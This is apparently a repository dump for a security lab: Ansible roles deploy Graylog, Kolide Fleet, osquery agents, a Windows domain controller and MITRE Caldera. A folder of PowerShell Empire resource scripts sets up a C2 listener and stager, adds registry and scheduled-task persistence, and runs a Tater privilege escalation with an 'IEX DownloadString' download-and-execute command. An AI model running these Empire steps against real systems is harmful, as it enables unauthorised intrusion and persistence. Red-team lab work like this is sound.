-------------------------------------------------------------------------------- 1 | # Powershell Empire red team scripts 2 | This folder contains scripts that are used to simulate red team activity. 3 | 4 | ## Setup Powershell Empire 5 | 0. Start Kali Linux VM 6 | 0. cd /opt 7 | 0. git clone https://github.com/EmpireProject/Empire.git 8 | 0. cd Empire 9 | 0. ./setup/install.sh 10 | 0. ./empire --resource listeners.rc 11 | 12 | ## Initial setup 13 | 0. 14 | 15 | ## Post-exploitation 16 | 0. agents 17 | 0. autoruns autoruns.rc powershell 18 | -------------------------------------------------------------------------------- /empire/establish_foothold.rc: -------------------------------------------------------------------------------- 1 | usemodule persistence/userland/registry 2 | set Listener http80 3 | execute 4 | back 5 | usemodule persistence/userland/schtask 6 | set Listener http80 7 | execute 8 | back 9 | -------------------------------------------------------------------------------- /empire/let_it_rip.rc: -------------------------------------------------------------------------------- 1 | # Run all resource files 2 | resource listeners.rc 3 | resource autoruns.rc 4 | main 5 | -------------------------------------------------------------------------------- /empire/listeners.rc: -------------------------------------------------------------------------------- 1 | # Setup listeners 2 | listeners 3 | uselistener http 4 | set Name http80 5 | set Port 80 6 | execute 7 | 8 | # Setup Powershell Empire stager 9 | back 10 | usestager multi/launcher 11 | set Listener http80 12 | execute 13 | -------------------------------------------------------------------------------- /empire/persistence.rc: -------------------------------------------------------------------------------- 1 | usemodule persistence/userland/registry 2 | set Listener http80 3 | execute 4 | back 5 | 6 | usemodule persistence/userland/schtask 7 | set Listener http80 8 | execute 9 | back 10 | -------------------------------------------------------------------------------- /empire/priv_esc.rc: -------------------------------------------------------------------------------- 1 | usemodule privesc/tater 2 | Set Trigger 2 3 | set Command powershell -nop -c (IEX (New-Object Net.WebClient).DownloadString('’')) 4 | execute 5 | back 6 | -------------------------------------------------------------------------------- /group_vars/agents.example: -------------------------------------------------------------------------------- 1 | osquery_enroll_secret: 2 | -------------------------------------------------------------------------------- /group_vars/all.example: -------------------------------------------------------------------------------- 1 | base_domain: 2 | fleet_hostname: 3 | graylog_hostname: 4 | timezone: America/New_York 5 | 6 | slack_channel: 7 | slack_token: 8 | -------------------------------------------------------------------------------- /group_vars/caldera.example: -------------------------------------------------------------------------------- 1 | caldera_dir: /opt/caldera 2 | caldera_user: admin 3 | caldera_pass: 4 | -------------------------------------------------------------------------------- /group_vars/graylog.example: -------------------------------------------------------------------------------- 1 | graylog_admin_password: 2 | 3 | # Graylog cert Generation 4 | cert_country: US 5 | cert_state: NY 6 | cert_local: Rochester 7 | cert_org: hackinglab.beer 8 | cert_common_name: '{{ graylog_hostname }}.{{ base_domain }}' 9 | -------------------------------------------------------------------------------- /group_vars/kolide.example: -------------------------------------------------------------------------------- 1 | # Kolide jwt key 2 | kolide_jwt_key: 3 | 4 | # MySQL setup 5 | mysql_root_user: root 6 | mysql_root_password: 7 | 8 | # MySQL Kolide 9 | mysql_kolide_dbname: kolide 10 | mysql_kolide_user: kolide 11 | mysql_kolide_pass: 12 | 13 | # Set to % for all hosts 14 | mysql_kolide_hosts: 127.0.0.1 15 | 16 | # Kolide cert generation 17 | cert_country: 18 | cert_state: 19 | cert_local: 20 | cert_org: 21 | cert_common_name: '{{ fleet_hostname }}.{{ base_domain }}' 22 | -------------------------------------------------------------------------------- /group_vars/win_agents.example: -------------------------------------------------------------------------------- 1 | # domain_controller 2 | dns_ip: 3 | -------------------------------------------------------------------------------- /group_vars/win_dc.example: -------------------------------------------------------------------------------- 1 | # Domain controller settings 2 | ad_domain_name: '{{ base_domain }}' 3 | ad_safe_mode_password: 4 | -------------------------------------------------------------------------------- /group_vars/windows.example: -------------------------------------------------------------------------------- 1 | ansible_user: 2 | ansible_password: 3 | ansible_port: 5986 4 | ansible_connection: winrm 5 | ansible_winrm_scheme: https 6 | ansible_winrm_server_cert_validation: ignore 7 | -------------------------------------------------------------------------------- /hosts: -------------------------------------------------------------------------------- 1 | [kolide] 2 | 10.140.100.215 ansible_python_interpreter=/usr/bin/python3 timeout=30 3 | 4 | [graylog] 5 | 10.140.100.216 ansible_python_interpreter=/usr/bin/python3 6 | 7 | [caldera] 8 | 172.16.77.130 ansible_python_interpreter=/usr/bin/python3 timeout=30 9 | 10 | [windows] 11 | 1.2.3.4 12 | 13 | [windows:children] 14 | win_agents 15 | win_dc 16 | 17 | [win_dc] 18 | 10.140.100.217 19 | 20 | [win_agents] 21 | 10.140.100.227 22 | 23 | [linux_agents] 24 | 25 | [mac_agents] 26 | -------------------------------------------------------------------------------- /roles/agents/deploy_cagent.yml: -------------------------------------------------------------------------------- 1 | #################################################### 2 | # Install/Setup Caldera agent 3 | #################################################### 4 | - name: Create Caldera directory 5 | win_file: 6 | path: C:\Program Files\cagent 7 | state: directory 8 | 9 | - name: Get config 10 | win_get_url: 11 | url: https://{{ caldera_hostname }}.{{ base_domain }}:{{ item }}/conf.yml 12 | dest: C:\Program Files\cagent\conf.yml 13 | validate_certs: no 14 | with_items: 15 | - 8888 16 | # - 443 17 | 18 | - name: Copy binary 19 | win_get_url: 20 | url: https://github.com/mitre/caldera-agent/releases/download/v0.1.0/cagent.exe 21 | dest: C:\Program Files\cagent\cagent.exe 22 | 23 | - name: Install cagent.exe 24 | win_shell: .\cagent.exe --startup auto install 25 | args: 26 | chdir: C:\Program Files\cagent 27 | 28 | - name: Install cagent.exe 29 | win_shell: .\cagent.exe start 30 | args: 31 | chdir: C:\Program Files\cagent 32 | -------------------------------------------------------------------------------- /roles/agents/deploy_osquery_centos.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Install/Setup MySQL 3 | #################################################################### 4 | - name: Add OSQuery repo key for CentOS 5 | rpm_key: 6 | state: present 7 | key: https://pkg.osquery.io/rpm/GPG 8 | 9 | - name: Add OSQuery repo for CentOS 10 | yum_repository: 11 | name: osquery-s3-rpm-repo 12 | enabled: yes 13 | description: OSQuery repo 14 | baseurl: https://pkg.osquery.io/rpm/$basearch/ 15 | enabled: yes 16 | gpgkey: file:///etc/pki/rpm-gpg/RPM-GPG-KEY-osquery 17 | gpgcheck: yes 18 | 19 | - name: Install OSQuery 20 | package: 21 | name: osquery 22 | state: installed 23 | 24 | - name: Get cert for Doorman 25 | shell: python -c "import ssl; print ssl.get_server_certificate(('{{ fleet_hostname }}.{{ base_domain }}', 443))" | sudo tee /etc/osquery/certificate.crt 26 | 27 | - name: Copy OSQuery flags file 28 | template: 29 | src: conf/agents/osquery.flags 30 | dest: /etc/osquery/osquery.flags 31 | owner: root 32 | group: root 33 | mode: '0600' 34 | 35 | - name: Copy OSQuery secret 36 | template: 37 | src: conf/agents/osquery.key 38 | dest: /etc/osquery/osquery.key 39 | owner: root 40 | group: root 41 | mode: '0600' 42 | 43 | - name: Enable OSQuery service 44 | service: 45 | name: osqueryd 46 | state: restarted 47 | enabled: yes 48 | 49 | #################################################################### 50 | # Slack notification 51 | #################################################################### 52 | - name: Send slack notification when done 53 | slack: 54 | token: "{{ slack_token }}" 55 | msg: '{{ ansible_nodename }}:{{ ansible_default_ipv4.address }} - Finished setting OSQuery agent on {{ ansible_nodename }}' 56 | channel: "{{ slack_channel }}" 57 | when: slack_token is undefined 58 | -------------------------------------------------------------------------------- /roles/agents/deploy_osquery_ubuntu.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Install/Setup OSQUery 3 | #################################################################### 4 | - name: Add OSQuery repo key for Ubuntu 5 | apt_key: 6 | keyserver: keyserver.ubuntu.com 7 | id: 1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B 8 | when: ansible_distribution == 'Debian' or ansible_distribution == 'Ubuntu' 9 | 10 | - name: Add OSquery repo for Ubuntu 11 | apt_repository: 12 | repo: deb [arch=amd64] https://pkg.osquery.io/deb deb main 13 | state: present 14 | when: ansible_distribution == 'Debian' or ansible_distribution == 'Ubuntu' 15 | 16 | - name: Install OSQuery 17 | package: 18 | name: osquery 19 | state: installed 20 | 21 | - name: Get cert for Doorman 22 | shell: python3 -c "import ssl; print (ssl.get_server_certificate(('{{ fleet_hostname }}.{{ base_domain }}', 443)))" | sudo tee /etc/osquery/certificate.crt 23 | 24 | - name: Copy OSQuery flags file 25 | template: 26 | src: conf/agents/osquery.flags 27 | dest: /etc/osquery/osquery.flags 28 | owner: root 29 | group: root 30 | mode: '0600' 31 | 32 | - name: Copy OSQuery secret 33 | template: 34 | src: conf/agents/osquery.key 35 | dest: /etc/osquery/osquery.key 36 | owner: root 37 | group: root 38 | mode: '0600' 39 | 40 | - name: Enable OSQuery service 41 | service: 42 | name: osqueryd 43 | state: restarted 44 | enabled: yes 45 | 46 | #################################################################### 47 | # Slack notification 48 | #################################################################### 49 | - name: Send slack notification when done 50 | slack: 51 | token: "{{ slack_token }}" 52 | msg: '{{ ansible_nodename }}:{{ ansible_default_ipv4.address }} - Finished setting OSQuery agent on {{ ansible_nodename }}' 53 | channel: "{{ slack_channel }}" 54 | when: slack_token is undefined 55 | -------------------------------------------------------------------------------- /roles/agents/deploy_osquery_windows.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Install/Setup OSQuery 3 | #################################################################### 4 | - name: Install chocolatey 5 | win_shell: Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) 6 | 7 | - name: Install OSQuery with chocolatey 8 | win_chocolatey: 9 | name: osquery 10 | params: "/InstallService" 11 | state: latest 12 | 13 | - name: Get certificate 14 | win_template: 15 | src: conf/agents/certificate.crt 16 | dest: C:\ProgramData\osquery\certs\certificate.crt 17 | 18 | - name: Copy OSQuery.flags 19 | win_template: 20 | src: conf/agents/osquery.flags 21 | dest: C:\ProgramData\osquery\osquery.flags 22 | 23 | - name: Copy OSQuery.key 24 | win_template: 25 | src: conf/agents/osquery.key 26 | dest: C:\ProgramData\osquery\osquery.key 27 | 28 | - name: Start OSQuery service 29 | win_service: 30 | name: osqueryd 31 | start_mode: auto 32 | state: restarted 33 | 34 | #################################################################### 35 | # Slack notification 36 | #################################################################### 37 | - name: Send slack notification when done 38 | slack: 39 | token: "{{ slack_token }}" 40 | msg: '{{ ansible_nodename }}:{{ ansible_default_ipv4.address }} - Finished setting OSQuery agent on {{ ansible_nodename }}' 41 | channel: "{{ slack_channel }}" 42 | when: slack_token is undefined 43 | -------------------------------------------------------------------------------- /roles/caldera/caldera.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Set hostname 3 | #################################################################### 4 | - name: add hostname to /etc/hosts 5 | lineinfile: 6 | dest: /etc/hosts 7 | regexp: '^127\.0\.0\.1[ \t]+localhost' 8 | line: '127.0.0.1 localhost {{ caldera_hostname }} {{ caldera_hostname }}.{{ base_domain }}' 9 | state: present 10 | - hostname: 11 | name: "{{ caldera_hostname }}.{{ base_domain }}" 12 | 13 | #################################################### 14 | # Install/Setup Caldera 15 | #################################################### 16 | - name: Install software 17 | package: 18 | name: '{{ item }}' 19 | state: latest 20 | with_items: 21 | - python3-dev 22 | - python3-pip 23 | 24 | - name: Create Caldera user 25 | user: 26 | name: caldera 27 | shell: /usr/sbin/nologin 28 | 29 | - name: Download caldera 30 | git: 31 | repo: 'https://github.com/mitre/caldera.git' 32 | dest: '{{ caldera_dir }}' 33 | - file: 34 | path: '{{ caldera_dir }}' 35 | recurse: yes 36 | state: directory 37 | owner: caldera 38 | group: caldera 39 | 40 | - name: SED aiohttp==2.3.2 to aiohttp==2.3.8 41 | lineinfile: 42 | path: '{{ caldera_dir }}/caldera/requirements.txt' 43 | regexp: '^aiohttp==2.3.2' 44 | line: 'aiohttp==2.3.8' 45 | 46 | - name: Pip requirements.txt 47 | pip: 48 | requirements: '{{ caldera_dir }}/caldera/requirements.txt' 49 | executable: pip3 50 | 51 | - name: Create directory for CraterMain.exe 52 | file: 53 | path: '{{ caldera_dir }}/dep/crater/crater' 54 | state: directory 55 | owner: caldera 56 | group: caldera 57 | mode: 0755 58 | 59 | - name: Download CraterMain.exe for Win8 and up 60 | get_url: 61 | url: https://github.com/mitre/caldera-crater/releases/download/v0.1.0/CraterMainWin8up.exe 62 | dest: '{{ caldera_dir }}/dep/crater/crater/CraterMain.exe' 63 | validate_certs: no 64 | 65 | #- name: Copy Caldera settings.yaml 66 | # template: 67 | # src: conf/caldera/settings.yaml.default 68 | # dest: '{{ caldera_dir }}/caldera/conf/settings.yaml.default' 69 | 70 | - name: Copy SystemD file 71 | template: 72 | src: conf/caldera/caldera.service 73 | dest: /etc/systemd/system/caldera.service 74 | 75 | - name: Start caldera service 76 | service: 77 | name: caldera 78 | state: restarted 79 | enabled: yes 80 | -------------------------------------------------------------------------------- /roles/caldera/firewall.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Setup Firewall 3 | #################################################################### 4 | - name: Setup Ubuntu UFW firewall 5 | ufw: 6 | rule: allow 7 | name: OpenSSH 8 | - ufw: 9 | rule: allow 10 | port: 80 11 | proto: tcp 12 | - ufw: 13 | rule: allow 14 | port: 443 15 | proto: tcp 16 | - ufw: 17 | rule: allow 18 | proto: tcp 19 | port: 8888 20 | - ufw: 21 | state: enabled 22 | policy: deny 23 | -------------------------------------------------------------------------------- /roles/caldera/mongo.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Install/Setup MongoDB 3 | #################################################################### 4 | - name: Install MongoDB 5 | package: 6 | name: '{{ item }}' 7 | state: latest 8 | with_items: 9 | - mongodb-server 10 | 11 | - name: Copy Mongo conf 12 | template: 13 | src: conf/mongo/mongodb.conf 14 | dest: /etc/mongodb.conf 15 | 16 | - name: Start Mongo service 17 | service: 18 | name: mongodb 19 | state: restarted 20 | enabled: yes 21 | -------------------------------------------------------------------------------- /roles/graylog/deploy_graylog.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Setup hostname 3 | #################################################################### 4 | - name: Set hostname 5 | hostname: 6 | name: '{{ graylog_hostname }}.{{ base_domain }}' 7 | 8 | #################################################################### 9 | # Setup Timedatectl 10 | #################################################################### 11 | - name: Set time to {{ timezone }} 12 | shell: timedatectl set-ntp on && timedatectl set-timezone {{ timezone }} 13 | 14 | #################################################################### 15 | # Apt update 16 | #################################################################### 17 | - name: Run the equivalent of "apt-get update" as a separate step 18 | apt: 19 | update_cache: yes 20 | 21 | #################################################################### 22 | # Install software 23 | #################################################################### 24 | - name: Install software 25 | package: 26 | name: '{{ item }}' 27 | state: latest 28 | with_items: 29 | - apt-transport-https 30 | - openjdk-8-jre-headless 31 | - uuid-runtime 32 | - pwgen 33 | 34 | #################################################################### 35 | # Install/Setup MongoDB 36 | #################################################################### 37 | - name: Install MongoDB 38 | package: 39 | name: '{{ item }}' 40 | state: latest 41 | with_items: 42 | - mongodb-server 43 | 44 | - name: Start Mongo service 45 | service: 46 | name: mongodb 47 | state: started 48 | enabled: yes 49 | 50 | #################################################################### 51 | # Install/Setup Elasticsearch 52 | #################################################################### 53 | - name: Add Elastic GPG key 54 | apt_key: 55 | url: https://artifacts.elastic.co/GPG-KEY-elasticsearch 56 | state: present 57 | 58 | - name: Add Elastic repo 59 | apt_repository: 60 | repo: deb https://artifacts.elastic.co/packages/5.x/apt stable main 61 | state: present 62 | 63 | - name: Install/Setup Elasticsearch 64 | package: 65 | name: '{{ item }}' 66 | state: latest 67 | with_items: 68 | - curl 69 | - elasticsearch 70 | 71 | - name: Rename Elasticsearch cluster name 72 | lineinfile: 73 | path: /etc/elasticsearch/elasticsearch.yml 74 | regexp: '^cluster.name:' 75 | line: 'cluster.name: graylog' 76 | 77 | - service: 78 | name: elasticsearch 79 | state: restarted 80 | enabled: yes 81 | 82 | #################################################################### 83 | # Install/Setup Graylog 84 | #################################################################### 85 | - name: Download and Install Graylog repo 86 | apt: 87 | deb: https://packages.graylog2.org/repo/packages/graylog-2.4-repository_latest.deb 88 | 89 | - name: Run the equivalent of "apt-get update" as a separate step 90 | apt: 91 | update_cache: yes 92 | 93 | - name: Install/Setup Graylog 94 | package: 95 | name: '{{ item }}' 96 | state: latest 97 | with_items: 98 | - graylog-server 99 | 100 | - name: Covert password to sha256 hash 101 | shell: "echo -n {{ graylog_admin_password }} | sha256sum | awk '{print $1}'" 102 | register: pass_contents 103 | 104 | - name: Set admin password 105 | lineinfile: 106 | path: /etc/graylog/server/server.conf 107 | regexp: '^root_password_sha2 =' 108 | line: "root_password_sha2 = {{ pass_contents.stdout }}" 109 | 110 | - name: Generate secret key 111 | shell: "pwgen -s 96 1" 112 | register: secret_key_content 113 | 114 | - name: Set secret key 115 | shell: sed -i -e "s/password_secret =.*/password_secret = {{ secret_key_content.stdout }}/" /etc/graylog/server/server.conf 116 | 117 | - name: Start and Enable Graylog service 118 | service: 119 | name: graylog-server 120 | state: restarted 121 | enabled: yes 122 | 123 | #################################################################### 124 | # Install/Setup Graylog slack plugin 125 | #################################################################### 126 | - name: Download Graylog Slack plugin 127 | get_url: 128 | url: https://github.com/graylog-labs/graylog-plugin-slack/releases/download/2.4.0/graylog-plugin-slack-2.4.0.jar 129 | dest: /usr/share/graylog-server/plugin/graylog-plugin-slack-2.4.0.jar 130 | 131 | - name: Start and Enable Graylog service 132 | service: 133 | name: graylog-server 134 | state: restarted 135 | enabled: yes 136 | 137 | #################################################################### 138 | # Install/Setup Nginx 139 | #################################################################### 140 | - name: Install/Setup Nginx 141 | package: 142 | name: '{{ item }}' 143 | state: installed 144 | with_items: 145 | - nginx 146 | 147 | - name: Backup NGINX config 148 | shell: cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak 149 | 150 | - name: Copy Nginx config 151 | template: 152 | src: conf/nginx/nginx.conf 153 | dest: /etc/nginx/nginx.conf 154 | owner: root 155 | group: root 156 | mode: '0600' 157 | 158 | - file: 159 | path: /etc/nginx/ssl 160 | owner: root 161 | group: root 162 | state: directory 163 | 164 | - file: 165 | path: /etc/nginx/ssl 166 | state: directory 167 | mode: 0755 168 | 169 | - name: Generate DH key 170 | stat: 171 | path: /etc/ssl/certs/dhparam.pem 172 | register: stat_dhparam 173 | - shell: openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048 174 | when: stat_dhparam.stat.exists == False 175 | 176 | - name: Generate DH key 177 | stat: 178 | path: /etc/nginx/ssl/dhparam.pem 179 | register: stat_dhparam 180 | - shell: openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048 181 | when: stat_dhparam.stat.exists == False 182 | - shell: openssl req -new -nodes -x509 -days 3650 -subj "/C={{ cert_country }}/ST={{ cert_state }}/L={{ cert_local }}/O={{ cert_org }}/CN={{ graylog_hostname }}.{{ base_domain }}" -keyout /etc/nginx/ssl/graylog.key -out /etc/nginx/ssl/graylog.crt 183 | when: stat_dhparam.stat.exists == False 184 | 185 | - template: 186 | src: conf/nginx/nginx_graylog.conf 187 | dest: /etc/nginx/conf.d/nginx_graylog.conf 188 | owner: root 189 | group: root 190 | mode: '0600' 191 | 192 | - service: 193 | name: nginx 194 | state: restarted 195 | enabled: yes 196 | 197 | #################################################################### 198 | # Install/Setup FirewallD 199 | #################################################################### 200 | - name: Setup Ubuntu UFW firewall 201 | ufw: 202 | rule: allow 203 | name: OpenSSH 204 | - ufw: 205 | rule: allow 206 | port: 80 207 | proto: tcp 208 | - ufw: 209 | rule: allow 210 | port: 443 211 | proto: tcp 212 | - ufw: 213 | rule: allow 214 | port: 5044 215 | proto: tcp 216 | - ufw: 217 | state: enabled 218 | policy: deny 219 | 220 | 221 | #################################################################### 222 | # Slack notification 223 | #################################################################### 224 | - name: Send slack notification when done 225 | slack: 226 | token: "{{ slack_token }}" 227 | msg: '{{ ansible_nodename }}:{{ ansible_default_ipv4.address }} - Finished setting up Graylog server on {{ ansible_nodename }}' 228 | channel: "{{ slack_channel }}" 229 | when: slack_token is undefined 230 | -------------------------------------------------------------------------------- /roles/init.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Apt update 3 | #################################################################### 4 | - name: Run the equivalent of "apt-get update" as a separate step 5 | apt: 6 | update_cache: yes 7 | 8 | #################################################################### 9 | # Setup Timedatectl 10 | #################################################################### 11 | - name: Set time to {{ timezone }} 12 | shell: timedatectl set-ntp on && timedatectl set-timezone {{ timezone }} 13 | 14 | #################################################################### 15 | # Setup Firewall 16 | #################################################################### 17 | - name: Setup Ubuntu UFW firewall 18 | ufw: 19 | rule: allow 20 | name: OpenSSH 21 | - ufw: 22 | rule: allow 23 | port: 80 24 | proto: tcp 25 | - ufw: 26 | rule: allow 27 | port: 443 28 | proto: tcp 29 | - ufw: 30 | state: enabled 31 | policy: deny 32 | 33 | 34 | #################################################################### 35 | # Slack notification 36 | #################################################################### 37 | - name: Send slack notification when done 38 | slack: 39 | token: "{{ slack_token }}" 40 | msg: '{{ ansible_nodename }}:{{ ansible_default_ipv4.address }} - Init setup - {{ ansible_nodename }}' 41 | channel: "{{ slack_channel }}" 42 | when: slack_token is undefined 43 | -------------------------------------------------------------------------------- /roles/kolide/filebeat.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Install/Setup Filebeat 3 | #################################################################### 4 | - name: Add Elastic GPG key 5 | apt_key: 6 | url: https://artifacts.elastic.co/GPG-KEY-elasticsearch 7 | state: present 8 | 9 | - name: Add Elastic repo 10 | apt_repository: 11 | repo: deb https://artifacts.elastic.co/packages/5.x/apt stable main 12 | state: present 13 | 14 | - name: Install/Setup Elasticsearch 15 | package: 16 | name: '{{ item }}' 17 | state: latest 18 | with_items: 19 | - filebeat 20 | 21 | - name: Filebeat.yml 22 | template: 23 | src: conf/filebeat/filebeat.yml 24 | dest: /etc/filebeat/filebeat.yml 25 | 26 | - name: Start Filebeat service 27 | service: 28 | name: filebeat 29 | state: restarted 30 | enabled: yes 31 | 32 | #################################################################### 33 | # Slack notification 34 | #################################################################### 35 | - name: Send slack notification when done 36 | slack: 37 | token: "{{ slack_token }}" 38 | msg: '{{ ansible_nodename }}:{{ ansible_default_ipv4.address }} - Finished setting up Kolide Fleet manager - {{ ansible_nodename }}' 39 | channel: "{{ slack_channel }}" 40 | when: slack_token is undefined 41 | -------------------------------------------------------------------------------- /roles/kolide/kolide.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Install/Setup Kolide 3 | #################################################################### 4 | - name: Create Kolide user 5 | user: 6 | name: kolide 7 | shell: /usr/sbin/nologin 8 | 9 | - name: Create Kolide log directory 10 | file: 11 | path: '{{ log_dir }}' 12 | state: directory 13 | owner: kolide 14 | group: root 15 | 16 | - name: Create Kolide conf directory 17 | file: 18 | path: /etc/kolide 19 | state: directory 20 | owner: root 21 | group: root 22 | 23 | - name: Copy Kolide conf 24 | template: 25 | src: conf/kolide/kolide.yml 26 | dest: /etc/kolide/kolide.yml 27 | owner: root 28 | group: root 29 | 30 | - name: Install unzip 31 | package: 32 | name: unzip 33 | state: latest 34 | 35 | - name: Download Kolide 36 | unarchive: 37 | src: https://dl.kolide.co/bin/fleet_latest.zip 38 | dest: /usr/local/bin 39 | remote_src: yes 40 | 41 | - name: Intialize Kolide database 42 | shell: /usr/local/bin/linux/fleet_linux_amd64 prepare db --config /etc/kolide/kolide.yml 43 | 44 | - name: Create kolide user 45 | user: 46 | name: kolide 47 | shell: /usr/sbin/nologin 48 | 49 | - name: Copy Kolide SystemD 50 | template: 51 | src: conf/kolide/kolide.service 52 | dest: /etc/systemd/system/kolide.service 53 | 54 | - name: Start Kolide service 55 | service: 56 | name: kolide 57 | state: restarted 58 | enabled: yes 59 | 60 | #################################################################### 61 | # Install/Setup Nginx 62 | #################################################################### 63 | - name: Install/Setup Nginx 64 | package: 65 | name: '{{ item }}' 66 | state: latest 67 | with_items: 68 | - nginx 69 | 70 | - name: Backup nginx conf 71 | shell: cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak 72 | 73 | - file: 74 | path: /etc/nginx/ssl 75 | owner: root 76 | group: root 77 | state: directory 78 | 79 | - file: 80 | path: /etc/nginx/ssl 81 | state: directory 82 | mode: 0400 83 | 84 | - name: Copy nginx.conf 85 | template: 86 | src: conf/nginx/nginx.conf 87 | dest: /etc/nginx/nginx.conf 88 | 89 | - name: Copy nginx_kolide.conf 90 | template: 91 | src: conf/nginx/nginx_kolide.conf 92 | dest: /etc/nginx/conf.d/nginx_kolide.conf 93 | 94 | - name: Generate DH key 95 | stat: 96 | path: /etc/nginx/ssl/dhparam.pem 97 | register: stat_dhparam 98 | - shell: openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048 99 | when: stat_dhparam.stat.exists == False 100 | - shell: openssl req -new -nodes -x509 -days 3650 -subj "/C={{ cert_country }}/ST={{ cert_state }}/L={{ cert_local }}/O={{ cert_org }}/CN={{ fleet_hostname }}.{{ base_domain }}" -keyout /etc/nginx/ssl/kolide.key -out /etc/nginx/ssl/kolide.crt 101 | when: stat_dhparam.stat.exists == False 102 | 103 | - name: Start Nginx service 104 | service: 105 | name: nginx 106 | state: restarted 107 | enabled: yes 108 | 109 | #################################################################### 110 | # Slack notification 111 | #################################################################### 112 | - name: Send slack notification when done 113 | slack: 114 | token: "{{ slack_token }}" 115 | msg: '{{ ansible_nodename }}:{{ ansible_default_ipv4.address }} - Finished setting up Kolide Fleet manager - {{ ansible_nodename }}' 116 | channel: "{{ slack_channel }}" 117 | when: slack_token is undefined 118 | -------------------------------------------------------------------------------- /roles/kolide/mysql.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Install/Setup MySQL 3 | #################################################################### 4 | - name: Install/Setup MySQL 5 | package: 6 | name: '{{ item }}' 7 | state: latest 8 | with_items: 9 | - mysql-server 10 | - python3-mysqldb 11 | - python3-pip 12 | 13 | - name: Start MySQL service 14 | service: 15 | name: mysql.service 16 | state: restarted 17 | enabled: yes 18 | 19 | #################################################################### 20 | # Secure MySQL setup 21 | #################################################################### 22 | - name: Delete anonymous MySQL server user 23 | action: mysql_user user="" host="{{ ansible_hostname }}" state="absent" 24 | ignore_errors: yes 25 | 26 | - name: Delete anonymous MySQL server user for localhost 27 | action: mysql_user user="" state="absent" 28 | ignore_errors: yes 29 | 30 | - name: Remove the MySQL test database 31 | action: mysql_db db=test state=absent 32 | ignore_errors: yes 33 | 34 | - name: Change root user password on first run 35 | mysql_user: login_user=root 36 | login_password='' 37 | name={{ mysql_root_user }} 38 | password={{ mysql_root_password }} 39 | priv=*.*:ALL,GRANT 40 | host={{ item }} 41 | with_items: 42 | - "{{ ansible_hostname }}" 43 | - 127.0.0.1 44 | - ::1 45 | - localhost 46 | ignore_errors: yes 47 | 48 | 49 | #################################################################### 50 | # Setup Kolide database 51 | #################################################################### 52 | - name: Create Kolide database 53 | shell: mysql -u {{ mysql_root_user }} --password={{ mysql_root_password }} -e "CREATE DATABASE {{ mysql_kolide_dbname }};" 54 | ignore_errors: yes 55 | register: mysql_result 56 | failed_when: "'database exists' in mysql_result.stdout" 57 | 58 | - name: Create Kolide database user 59 | mysql_user: 60 | name: '{{ mysql_kolide_user }}' 61 | password: '{{ mysql_kolide_pass }}' 62 | priv: '{{ mysql_kolide_dbname }}.*:ALL' 63 | state: present 64 | login_user: '{{ mysql_root_user }}' 65 | login_password: '{{ mysql_root_password }}' 66 | host: '{{ mysql_kolide_hosts }}' 67 | ignore_errors: yes 68 | 69 | #################################################################### 70 | # Slack notification 71 | #################################################################### 72 | - name: Send slack notification when done 73 | slack: 74 | token: "{{ slack_token }}" 75 | msg: '{{ ansible_nodename }}:{{ ansible_default_ipv4.address }} - Finished setting up mysql - {{ ansible_nodename }}' 76 | channel: "{{ slack_channel }}" 77 | when: slack_token is undefined 78 | -------------------------------------------------------------------------------- /roles/kolide/redis.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Install/Setup Redis 3 | #################################################################### 4 | - name: Install/Setup Redis 5 | package: 6 | name: '{{ item }}' 7 | state: latest 8 | with_items: 9 | - redis-server 10 | 11 | - name: Start redis service 12 | service: 13 | name: redis-server.service 14 | state: restarted 15 | enabled: yes 16 | 17 | #################################################################### 18 | # Slack notification 19 | #################################################################### 20 | - name: Send slack notification when done 21 | slack: 22 | token: "{{ slack_token }}" 23 | msg: '{{ ansible_nodename }}:{{ ansible_default_ipv4.address }} - Finished setting up redis - {{ ansible_nodename }}' 24 | channel: "{{ slack_channel }}" 25 | when: slack_token is undefined 26 | -------------------------------------------------------------------------------- /roles/windows/deploy_dns.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Set Primary DNS server 3 | #################################################################### 4 | - win_dns_client: 5 | adapter_names: "*" 6 | ipv4_addresses: 7 | - '{{ dns_ip }}' 8 | 9 | #################################################################### 10 | # Slack notification 11 | #################################################################### 12 | - name: Send slack notification when done 13 | slack: 14 | token: "{{ slack_token }}" 15 | msg: '{{ ansible_nodename }}:{{ ansible_default_ipv4.address }} - Set Primary - {{ ansible_nodename }}' 16 | channel: "{{ slack_channel }}" 17 | when: slack_token is undefined 18 | -------------------------------------------------------------------------------- /roles/windows/deploy_domain_controller.yml: -------------------------------------------------------------------------------- 1 | #################################################################### 2 | # Promote Windows Server to Domain controller 3 | #################################################################### 4 | - name: Install AD-Domain-Services feature 5 | win_feature: 6 | name: 'AD-Domain-Services' 7 | include_management_tools: True 8 | include_sub_features: True 9 | state: present 10 | 11 | - name: Promote to domain controller 12 | win_domain: 13 | dns_domain_name: '{{ ad_domain_name }}' 14 | safe_mode_password: '{{ ad_safe_mode_password }}' 15 | register: active_directory_controllers 16 | 17 | - name: reboot once DC created 18 | win_reboot: 19 | when: active_directory_controllers.reboot_required 20 | 21 | 22 | #################################################################### 23 | # Slack notification 24 | #################################################################### 25 | - name: Send slack notification when done 26 | slack: 27 | token: "{{ slack_token }}" 28 | msg: '{{ ansible_nodename }}:{{ ansible_default_ipv4.address }} - Promoted {{ ansible_nodename }} to domain controller of {{ ad_domain_name }} domain' 29 | channel: "{{ slack_channel }}" 30 | 